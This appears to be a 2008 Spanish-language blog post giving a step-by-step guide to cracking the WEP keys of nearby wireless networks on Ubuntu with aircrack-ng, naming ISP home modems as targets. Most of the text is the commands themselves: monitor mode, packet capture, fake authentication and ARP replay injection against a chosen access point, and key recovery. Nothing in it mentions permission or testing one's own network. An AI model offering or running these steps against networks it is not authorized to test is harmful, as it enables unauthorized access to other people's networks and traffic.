2008-11-27

Crackear contraseñas de redes inalámbricas WEP con Ubuntu

Obtener la contraseña para conectarse a una red inalámbrica “protegida” por medio de una clave WEP (como la que ofrecen los módems de infinitum en México) es más fácil que la tabla del 1. Aquí muestro una guía que he recopilado de varias fuentes para crackear contraseñas WEP sobre Ubuntu con la suite aircrack-ng. La mayor dificultad de todo el proceso es determinar si nuestra tarjeta de red es compatible con la “inyección de trafico”. Un buen sitio para checar las compatibilidades de distintas tarjetas inalambricas es:

www.aircrack-ng.org

También hay varias opciones de tarjetas inalambricas USB 100% compatibles a precios muy accesibles, asi que en caso de que nuestra tarjeta no sea compatible, no todo esta perdido.

Este sitio también tiene una guía bastante comprensible que explica la mayor parte del proceso:

www.aircrack-ng.org/doku.php?id=getting_started

Otro sitio que resulta muy util:

ryanunderdown.com

En este caso, todo el proceso lo hice en una laptop Dell Inspiron 1720, que tenia una tarjeta de red inalámbrica intel 3945, sobre Ubuntu Intrepid Ibex (8.10). Al ser un Kernel de linux muy reciente, ya tenia un driver que soportaba monitoreo e inyección de trafico con esa tarjeta y no tuve que aplicar ningún parche :). Esta guía es para ésta tarjeta en especifico con el driver que ya viene en ubuntu intrepid ibex sin embargo puede funcionar en otras versiones de linux (back track 3?).

Aqui va...

Requerimientos:
* Una laptop con Ubuntu Intrepid Ibex instalado y tarjeta de red compatible con la suite aircrack-ng
(puede funcionar con cualquier distribución de linux que soporte la tarjeta).
* Tener instalados los siguientes paquetes:
aircrack-ng
macchanger

1) En una terminal crear una interfaz de monitoreo ejecutando el comando:

sudo airmon-ng start wlan0

wlan0 es el nombre de la interfaz de la tarjeta inalambrica (la puedes averiguar tecleando iwconfig en una terminal). Este comando crea una interface virtual llamada mon0, que es la que vamos a estar usando mas adelande.

2) Ejecutar

sudo airodump-ng mon0

Este comando mostrará una lista con todas las redes al alcance, con las direcciones mac de los Access Points (AP), nombres de difusión (ESSID) y el canal en el cual están trabajando, ademas de indicar que tipo de encriptación tienen.

3) Selecciona la red con encriptación WEP que quieras crackear, necesitaremos los siguientes datos: canal (frecuencia de operacion), ESSID y dirección MAC.
A continuación hay que ejecutar:

sudo airodump-ng -c canal,canal mon0 -w ruta/nombre


donde:
canal es el canal de operación de la red seleccionada, Debido a un bug en este driver, el canal necesita ser especificado dos veces separado por coma.
mon0 es la interfaz creada anteriormente
-w para especificar la ruta y nombre de archivo para guardar los paquetes resultantes de esta operación.

Ejemplo:

sudo airodump-ng -c 6,6 mon0 -w path/name

Con este proceso ya se empieza a capturar los paquetes de todos los access points que trabajan en el canal 6, sin embargo se necesita aproximadamente 200 000 paquetes para poder crackear la clave WEP, esto puede tardar muuuucho tiempo.. afortunadamente se puede acelerar este proceso:

4) Crear una asociación de la tarjeta de red con el Access point seleccionado:

sudo aireplay-ng -1 0 -e INFINITUM4423 -a 00:11:22:33:44:55 -h 00:01:02:03:04:05 mon0

parametros usados:
-1 = tipo de ataque (autenticación falsa en este caso)
0 = retardo entre ataques
-e = nombre ESSID, o nombre de difusión de la red
-a = direccion mac del acces point
-h = direccion mac de nuestra tarjeta de red inalambrica (puedes averiguarla tecleando macchanger -s mon0 en una terminal)
mon0 = nombre de la interfaz creada en pasos anteriores.

5) Iniciar la inyección de paquetes con aireplay! (6)

sudo aireplay-ng -3 -b 00:14:BF:B5:22:D0 -h 00:1c:bf:86:74:e6 mon0

-b = dirección mac del access point
-h = dirección mac de la tarjeta de red inalámbrica (checala con: macchanger -s mon0)

con esto deberás notar que la recolección de paquetes es mucho más rápida ahora.

6) Cuando se hayan recolectado unos 200 000 paquetes (unos 10 minutos), ejecuta:

sudo aircrack-ng path/fileName*.cap

Este comando lo puedes ejecutar en cualquier momento, a veces es posible descifrar la contraseña con unos 100 000 paquetes o incluso menos, por lo que nada pierdes con intentarlo.


...y eso es todo, el número que te sale es la contraseña WEP (úsala sin los : entre los números).










No comments: